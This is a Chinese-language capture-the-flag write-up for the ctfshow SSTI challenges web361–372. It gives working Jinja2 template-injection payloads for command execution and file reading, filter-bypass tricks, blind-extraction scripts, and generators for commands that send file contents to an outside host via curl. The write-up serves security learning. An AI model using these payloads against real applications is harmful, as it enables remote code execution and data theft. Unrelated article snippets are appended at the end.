Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全

CTFshow SSTI web361

笔记分享

一、代码块

变量块 {{}}  用于将表达式打印到模板输出
注释块 {##}  注释
控制块 {%%}  可以声明变量,也可以执行语句
{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}行声明 ##    可以有和{%%}相同的效果

二、常用方法

python的str(字符串)dict(字典)tuple(元组)list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。[].__class__:列表 
''.__class__ :字符串
().__class__ :元组
{}.__class__:字典
------------------------------------------------------------
有这些类继承的方法,我们就可以从任何一个变量,回溯到最顶层基类(<class'object'>)中去,再获得到此基类所有实现的类,就可以获得到很多的类和方法了。__class__ :类的一个内置属性,查看实例对象的类。 
__base__ :类型对象的直接基类 
__bases__ :类型对象的全部基类(直接父类),以元组形式(只有一个元素),类型的实例通常没有属性 __bases__ 
__mro__ :可以用来获取一个类的调用顺序,元组形式,返回如(<class 'str'>, <class 'object'>)。__mro__[1]就是object
------------------------------------------------------------
__subclasses__():返回这个类的所有子类,列表形式。
__builtins__:内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。返回内建内建名称空间字典__builtins__与__builtin__的区别就不放了,百度都有。 (做为默认初始模块出现的,可用于查看当前所有导入的内建函数。,集合形式)
__init__:初始化类,返回的类型是function,可以用来跳到__globals__。
__globals__:会以字典的形式返回当前位置的所有全局变量,与 func_globals  等价。
__import__:动态加载类和函数,也就是导入模块,经常用于导入os模块,语法:__import__(模块名)。如:__import__('os').popen('ls').read()
------------------------------------------------------------
__dic__ :类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 
__getattribute__():实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 
__getitem__():调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') 

三、SSTI-jinja2执行命令的六种方式

内建函数 eval 执行命令
os 模块执行命令
popen 函数执行命令
importlib 类执行命令
linecache 函数执行命令
subprocess.Popen 类执行命令

最后附上我的思维导图

image-20230808130156565

开始做题

进去是个这玩意。非常明显的SSTI模板注入的特征。

1678551681835

题目有提到名字就是考点。

1678551900769

测试一下是jinja2模板

1678551988868

payload:(以下这些都可以)

#寻找 popen 函数执行命令
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} #寻找内建函数 eval 执行命令
?name={{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}#寻找内建函数 eval 执行命令
?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}#寻找 os 模块执行命令
?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}

CTFshow SSTI web362

开始过滤了,测试了一下过滤了数字,1和7没有过滤。

1678594926121绕过方法:用全角数字 ‘0’,‘1’,‘2’,‘3’,‘4’,‘5’,‘6’,‘7’,‘8’,‘9’

payload:

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}  #132跑脚本?name={{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}

1678857321171

CTFshow SSTI web363

过滤了单双引号。常见的绕过过滤方式有两种,一种是request,另一种是chr函数。

request:

假设传入{{ config.__class__.__init__.__globals__['os'] }},因为引号被过滤,所以无法执行,可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置)
随后在后面传入a的值,变成{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os,与原命令等效比如我们要构造?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }},但是引号不能使用了,就可以把这两处使用引号的地方替换掉,最终变成
?name={{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag例:
?name={{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
等同于
?name={{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}?name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
等同于
?name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

chr:

暂时不写,有点麻烦。

原理: 我们没法直接使用chr函数,所以我们需要先通过__builtins__来找到它(__builtins__方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数。)

还有一种是利用chr进行字符串拼接。可以输入config.str()拿到很长的字符串,再控制下标索引提取想要的字符进行拼接。比如构造os字符串。url_for.globals[(config.str()[2])%2b(config.str()[42])] 其实中括号内就等价于[‘os’]。 //?name={{url_for.globals[‘os’]}}

最终payload:

?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}?name={{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag

1679067479602

CTFshow SSTI web364

过滤了args 。

request.args是GET传参,用其他方式传来替代args就可以了,比如cookie 。

也可以将其中的request.args改为request.values,POST和GET两种方法传递的数据request.values都可以接收。

payload:

?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie传参:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie传参:a=os;b=popen;c=cat /flag?name={{x.__init__.__globals__[request.values.a].eval(request.values.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.values.a][request.values.b](request.values.c).read()}}?name={{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }}&a=os&b=cat ../flag?name={{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag   //没看懂

CTFshow SSTI web365

起手式测试一下,还是jinja2模板注入

image-20230808131133586

造个字典跑一下过滤:

//ssti-fuzz.txt
.
[
]
_
{
}
{{
}}
{%
%}
{%if
{%endif
{%print(
1
2
3
4
5
6
7
8
9
0
'
"
+
%2B
%2b
join()
u
os
popen
importlib
linecache
subprocess
|attr()
request
args
value
cookie
__getitem__()
__class__
__base__
__bases__
__mro__
__subclasses__()
__builtins__
__init__
__globals__
__import__
__dic__
__getattribute__()
__getitem__()
__str__()
lipsum
current_app

fuzz出来一共过滤了四个字符''""[args

image-20230808131951665

我们选择用popen函数执行命令,其他五种方式同理。

先测测os模块在哪

{{x.__class__.__bases__.__getitem__(0).__subclasses__()}}

定位132

image-20230808133427769

原始payload:

{{''.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}

__getitem__绕过中括号[过滤:

{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen('ls /').read()}}

request对象绕过引号''""过滤,cookie或者values绕过args过滤

{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}

Cookie传参:x=ls /

image-20230808134110831

Cookie传参:x=tac /f*

image-20230808134223541

CTFshow SSTI web366

直接fuzz,过滤了''""[args_

image-20230808142255515

我们选择用popen函数执行命令,其他五种方式同理。

不定位了,应该还是132。

原始payload:

{{''.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}

__getitem__绕过中括号[过滤:

{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen('ls /').read()}}

request对象绕过引号''""过滤,cookie或者values绕过args过滤

{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}

|attr()+request对象绕过对下划线的过滤

""|attr("__class__")
相当于
"".__class__

{{x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)(0)|attr(request.cookies.x4)()|attr(request.cookies.x5)(132)|attr(request.cookies.x6)|attr(request.cookies.x7).popen(request.cookies.x8).read()}}

Cookie传参:x1=__class__;x2=__bases__;x3=__getitem__;x4=__subclasses__;x5=__getitem__;x6=__init__;x7=__globals__;x8=tac /f*

没出?????

{{x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)(0)|attr(request.cookies.x4)()|attr(request.cookies.x5)(132)|attr(request.cookies.x6)|attr(request.cookies.x7)|attr(request.cookies.x8)(request.cookies.x9)|attr(request.cookies.x10)()}}

Cookie传参:x1=__class__;x2=__bases__;x3=__getitem__;x4=__subclasses__;x5=__getitem__;x6=__init__;x7=__globals__;x8=popen;x9=tac /f*;x10=read

还是没出????

回溯测试一下,我们能拿到全局变量而且里面有popen

{{x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)(0)|attr(request.cookies.x4)()|attr(request.cookies.x5)(132)|attr(request.cookies.x6)|attr(request.cookies.x7)}}

Cookie传参:x1=__class__;x2=__bases__;x3=__getitem__;x4=__subclasses__;x5=__getitem__;x6=__init__;x7=__globals__

image-20230808152357880

尚未解决,暂且预留


我们也可以换个思路。

lipsum.__globals__中含有os模块

那我们原始payload就是:

{{(lipsum.__globals__).os.popen("tac /flag").read()}} 

|attr()+request对象绕过对下划线_过滤。

request对象绕过引号''""过滤,cookie或者values绕过args过滤

{{(lipsum|attr(request.cookies.x1)).os.popen(request.cookies.x2).read()}} 

Cookie传参:x1= __globals__;x2=tac /flag

image-20230808150517946

CTFshow SSTI web367

起手式fuzz,过滤了''""[args_os

image-20230808153822918

上一题第二个思路的payload改改还能继续用,os是cookie传进去的,不会触发过滤。

{{(lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read()}}

Cookie传参:x1= __globals__;x2=os;x3=tac /flag

image-20230808155145505

CTFshow SSTI web368

起手式fuzz,过滤了''""[args_os{{

image-20230808160554211

比上题多过滤了一个{{,我们用{%print(......)%}绕过

继续把上题的payload改改。

{%print((lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read())%}

Cookie传参:x1= __globals__;x2=os;x3=tac /flag

image-20230808160817991


我们还有别的思路。用{%set来绕过过滤

{%set aaa=(lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read()%}{% print(aaa)%}

Cookie传参:x1= __globals__;x2=os;x3=tac /flag

image-20230808161033213


还有思路:文件读取:

{%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%print(aaa.open(request.cookies.x5).read())%}

Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=/flag

image-20230808164001030


还有思路:盲注:

用{% %}是可以盲注的,我们这里盲注一下/flag文件的内容,原理就在于open(‘/flag’).read()是回显整个文件,但是read函数里加上参数:open(‘/flag’).read(i),返回的就是读出所读的文件里的前i个字符,以此类推,就可以盲注出了。python脚本:

import requests
import string
url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}\
{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}\
xxx17\
{%endif%}'s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,99):print(i)for j in s:x=flag+jheaders={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}r=requests.get(url,headers=headers)#print(r.text)if("xxx17" in r.text):flag=xprint(flag)break

image-20230808165444749

CTFshow SSTI web369

考点:jinja2过滤器

起手式fuzz,过滤了''""[args_os{{request

image-20230808220817932

过滤了request,那这题不能再拿之前的payload改改用了。

这里要用到jinja2的过滤器

直接给payload然后解释吧。


读取/flag文件payload:

?name=
{% set po=dict(po=1,p=2)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set re=dict(reque=1,st=1)|join%}
{% set in=(a~a~dict(init=a)|join~a~a)|join()%}
{% set gl=(a~a~dict(globals=q)|join~a~a)|join()%}
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}
{% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%}
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chr=x.chr%}
{% set f=chr(47)~(dict(flag=a)|join)%}
{% print(x.open(f).read())%}

详解:

//构造pop
{% set po=dict(po=1,p=2)|join%}//构造下划线 _
{% set a=(()|select|string|list)|attr(po)(24)%}//构造request
{% set re=dict(reque=1,st=1)|join%}//构造__init__
{% set in=(a~a~dict(init=a)|join~a~a)|join()%}//构造__globals__
{% set gl=(a~a~dict(globals=q)|join~a~a)|join()%}//构造__getitem__
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}//构造__builtins__
{% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%}//【构造】q.__init__.__globals__.__getitem__.__builtins__
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}//构造chr函数
{% set chr=x.chr%}// 构造/flag
{% set f=chr(47)~(dict(flag=a)|join)%}//读取文件/flag
{% print(x.open(f).read())%}

执行命令cat /flag。相当于lipsum.__globals__['__builtins__'].open('/flag').read()

?name={% print (lipsum|attr(
(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
))
.get(
(config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()
)
.popen(
(config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()
).read() %}

反弹shell的payload:

?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}

cmd用此脚本生成

s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):t=''for i in range(len(s)):if i<len(s)-1:t+='chr('+str(ord(s[i]))+')%2b'else:t+='chr('+str(ord(s[i]))+')'return t

盲注的脚本:

import requests
import string
def ccchr(s):t=''for i in range(len(s)):if i<len(s)-1:t+='chr('+str(ord(s[i]))+')%2b'else:t+='chr('+str(ord(s[i]))+')'return t
url ='''http://a4023da9-bc70-4324-a88e-d1b4e6087bb6.challenge.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{% set cmd2='''s=string.digits+string.ascii_lowercase+'{_-}'
flag=''
for i in range(1,50):print(i)for j in s:x=flag+ju=url+ccchr(x)+'%}'+'{% if x.open(cmd).read('+str(i)+')==cmd2%}'+'xxx17'+'{% endif%}'#print(u)r=requests.get(u)if("xxx17" in r.text):			flag=xprint(flag)break

执行命令cat /flag

//构造下划线_
{%set%20xiahua=(lipsum|select|string|list).pop(24)%}{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl)).chr%}
{%set oo=dict(o=a,s=a)|join%}
{%set pp=dict(po=a,pen=a)|join%}
{%set space=chcr(32)%}
{%set xiegang=chcr(47)%}
{%set f1ag=dict(fl=a,ag=a)|join%}
{%set shell=(dict(cat=a)|join,space,xiegang,f1ag)|join%}
{%print lipsum|attr(gb)|attr(gm)(oo)|attr(pp)(shell)|attr(dict(re=a,ad=a)|join)()%}

image-20230808221448386

CTFshow SSTI web370

起手式fuzz,过滤了''""[args_os{{request数字

image-20230809125306202

以web369的第一个payload为例,讲四个方法

?name=
{% set po=dict(po=1,p=2)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set re=dict(reque=1,st=1)|join%}
{% set in=(a~a~dict(init=a)|join~a~a)|join()%}
{% set gl=(a~a~dict(globals=q)|join~a~a)|join()%}
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}
{% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%}
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chr=x.chr%}
{% set f=chr(47)~(dict(flag=a)|join)%}
{% print(x.open(f).read())%}

方法一:用全角数字绕过。

'0','1','2','3','4','5','6','7','8','9'

payload:

?name=
{% set po=dict(po=,p=)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set re=dict(reque=,st=)|join%}
{% set in=(a~a~dict(init=a)|join~a~a)|join()%}
{% set gl=(a~a~dict(globals=q)|join~a~a)|join()%}
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}
{% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%}
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chr=x.chr%}
{% set f=chr(47)~(dict(flag=a)|join)%}
{% print(x.open(f).read())%}

image-20230809125622153


方法二:自己构造数字绕过。

方法:

{% set cc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|length)%}
从而cc=2,cccc=4{% set coun=(cc~cccc)|int%}  -->  coun=24
快速得到一个数值

所以web369的payload里面的数字,可以由构造得到。

如:

{% set ershisi=(cc~cccc)|int%}
{% set po=dict(po=c,p=c)|join%}
{% set a=(()|select|string|list)|attr(po)(ershisi)%}

就是

{% set a=(()|select|string|list)|pop(24)%}

payload:

?name=
{% set c=(dict(e=a)|join|count)%} 
{% set cc=(dict(ee=a)|join|count)%} 
{% set ccc=(dict(eee=a)|join|count)%} 
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%} 
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%} 
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}{% set twoandfour=(cc~cccc)|int%}
{% set fourandseven=(cccc~ccccccc)|int%} {% set po=dict(po=b,p=b)|join%}
{% set a=(()|select|string|list)|attr(po)(twoandfour)%}
{% set re=dict(reque=b,st=b)|join%}
{% set in=(a~a~dict(init=a)|join~a~a)|join()%}
{% set gl=(a~a~dict(globals=q)|join~a~a)|join()%}
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}
{% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%}
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chr=x.chr%}
{% set f=chr(fourandseven)~(dict(flag=a)|join)%}
{% print(x.open(f).read())%}

image-20230809130619939


方法三:用index构造数字

Python index() 方法检测字符串中是否包含子字符串 str ,如果指定 beg(开始) 和 end(结束) 范围,则检查是否包含在指定范围内。如果包含子字符串返回开始的索引值,否则抛出异常。

?name=
{% set o=(dict(o=z)|join) %}
{% set n=dict(n=z)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
{% set xiegang=(config|string|list).pop(-liushisi) %}
{% set gang=(()|select|string|list).pop(ershisi) %}
{% set globals=(gang,gang,(dict(globals=z)|join),gang,gang)|join %}
{% set builtins=(gang,gang,(dict(builtins=z)|join),gang,gang)|join %}
{% set gangfulaige=(xiegang,dict(flag=z)|join)|join %}
{% print (lipsum|attr(globals)).get(builtins).open(gangfulaige).read() %}

image-20230809133234625


方法四:反弹shell

生成payload脚本:

import requests
cmd='__import__("os").popen("curl http://vps-ip:9023?p=`cat /flag`").read()'
def fun1(s):t=[]for i in range(len(s)):t.append(ord(s[i]))k=''t=list(set(t))for i in t:k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'return k
def fun2(s):t=[]for i in range(len(s)):t.append(ord(s[i]))t=list(set(t))k=''for i in range(len(s)):if i<len(s)-1:k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'else:k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'return k
url ='http://fc5ded74-98ba-4d98-a6f9-47ab2616ba41.challenge.ctf.show/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)

生成后CV到题目手动提交

image-20230809131126836

CTFshow SSTI web371

起手式fuzz,过滤了''""[args_os{{request数字{%print

image-20230809134204939

过滤了{%print意味着能执行但是没有回显了。

web370的反弹shell方法还能用。


一种是直接python脚本生成payload,payload弹shell。

脚本:

import requests
cmd='__import__("os").popen("curl http://vps-ip:9023?p=`cat /flag`").read()'
def fun1(s):t=[]for i in range(len(s)):t.append(ord(s[i]))k=''t=list(set(t))for i in t:k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'return k
def fun2(s):t=[]for i in range(len(s)):t.append(ord(s[i]))t=list(set(t))k=''for i in range(len(s)):if i<len(s)-1:k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'else:k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'return k
url ='http://fc5ded74-98ba-4d98-a6f9-47ab2616ba41.challenge.ctf.show/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)

image-20230809164023028


还有一种是payload固定,里面的一部分cmd用脚本生成。

payload:

?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=【xxx】
%}
{%if x.eval(cmd)%}
abc
{%endif%}

生成cmd的脚本:

def aaa(t):t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'return t
s='__import__("os").popen("curl http://xxx:9023?p=`cat /flag`").read()'
def ccchr(s):t=''for i in range(len(s)):if i<len(s)-1:t+='chr('+aaa(str(ord(s[i])))+')%2b'else:t+='chr('+aaa(str(ord(s[i])))+')'return t
print(ccchr(s))

image-20230809164418661

CTFshow SSTI web372

起手式fuzz,过滤了''""[args_os{{request数字{%printcount

image-20230809171445691

和前一题一样,count换成length,或者全角数字或者用index构造数字。

image-20230809172637587

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/84970.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WinServer2016 DHCPv6部署

Windows Server 2016 部署 DHCPv6 应用场景&#xff1a;如果服务器的 idrac 地址配置之后忘记了&#xff0c;又无法不能重启服务器&#xff0c;可以通过 DHCPv6 来解决。因为服务器 idrac 的 ipv6 自动获取是默认开启的&#xff0c;那么可以用笔记本装个 windwos server 的系统…

vue3多页面配置你一定会遇到的问题,踩坑指南

vue3实现多页面打包容易&#xff0c;关键是如何实现本地的开发和调试&#xff1f;我们接下来解决如下几个问题&#xff1a; 1 多页面项目的项目结构是怎样的&#xff1f; --public--src---App.vue---main.js---page1. ---App.vue---main.js----home.vue----list.vue---page2.…

【UE4 RTS】09-Day and Night

前言 本篇博客实现的效果是太阳和天空会随着游戏时间的变化而变化。 效果 步骤 1. 设置“LightSource”为可移动的 2. 新建一个文件夹&#xff0c;命名为“Lighting” 3. 打开游戏状态“RTS_GameState_BP”&#xff0c;添加一个函数命名为“GetGameSpeed” 添加一个浮点类型…

安卓:UDP通信

目录 一、介绍 网络通信的三要素&#xff1a; &#xff08;1&#xff09;、IP地址&#xff1a; IPv4: IPv6: IP地址形式&#xff1a; IP常用命令&#xff1a; IP地址操作类: &#xff08;2&#xff09;、端口&#xff1a; &#xff08;3&#xff09;、协议: UDP协…

【计算机视觉|生成对抗】条件生成对抗网络(CGAN)

本系列博文为深度学习/计算机视觉论文笔记&#xff0c;转载请注明出处 标题&#xff1a;Conditional Generative Adversarial Nets 链接&#xff1a;[1411.1784] Conditional Generative Adversarial Nets (arxiv.org) 摘要 生成对抗网络&#xff08;Generative Adversarial…

力扣:59. 螺旋矩阵 II(Python3)

题目&#xff1a; 给你一个正整数 n &#xff0c;生成一个包含 1 到 n2 所有元素&#xff0c;且元素按顺时针顺序螺旋排列的 n x n 正方形矩阵 matrix 。 来源&#xff1a;力扣&#xff08;LeetCode&#xff09; 链接&#xff1a;力扣&#xff08;LeetCode&#xff09;官网 - 全…

兰州https证书申请

https证书是由CA认证机构颁发的数字证书&#xff0c;可以为域名网站或者公网IP网站提供信息加密服务&#xff0c;正规CA认证机构签发的https证书可以兼容99%的主流浏览器和IOS、Windows系统&#xff0c;同样&#xff0c;现在流行的小程序也需要https证书。那么&#xff0c;该怎…

云原生是什么

目录 1. 云原生是什么1.1. 微服务1.2. DevOps1.3. 持续交付1.4. 容器化 2. 什么是云原生2.1. 云原生的诞生2.2. 云原生基金会2.3. 主要区别: 云原生与传统企业应用 1. 云原生是什么 云原生是面向"云"而设计的应用, 因此技术部分依赖于传统云计算的 3 层概念, 基础设…

YOLOv5、YOLOv8改进:SEAttention 通道注意力机制

基于通道的注意力机制 源自于 CVPR2018: Squeeze-and-Excitation Networks 官方代码&#xff1a;GitHub - hujie-frank/SENet: Squeeze-and-Excitation Networks 如图所示&#xff0c;其实就是将不同的通道赋予相关的权重。Attention机制用到这里用朴素的话说就是&#xff0c;…

在线状态监测如何使冷却塔维保管理受益

